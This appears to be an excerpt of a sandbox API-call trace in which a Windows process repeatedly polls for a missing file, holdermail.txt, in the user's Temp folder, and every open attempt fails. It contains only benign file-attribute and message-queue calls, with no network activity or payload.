	[0089.315] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.315] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.315] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.315] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.315] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.315] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.315] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.316] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.316] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.316] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.316] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.316] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.316] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.316] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.317] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.317] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.317] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.317] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.318] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.318] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.318] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.318] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.319] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.319] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.319] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.319] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.319] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.319] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.320] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.320] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.320] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.320] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.320] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.320] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.320] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.321] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.321] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.321] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.321] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.321] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.321] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.322] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.322] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.322] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.322] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.323] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.323] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.323] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.323] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.324] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.324] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.324] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.324] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.324] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.324] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.324] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.325] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.325] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.325] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.326] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.326] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.326] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.326] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.327] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.327] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.327] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.327] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.327] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.327] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.327] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.328] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.328] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.328] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.328] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.328] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.328] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.328] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.329] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.329] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.329] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.329] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
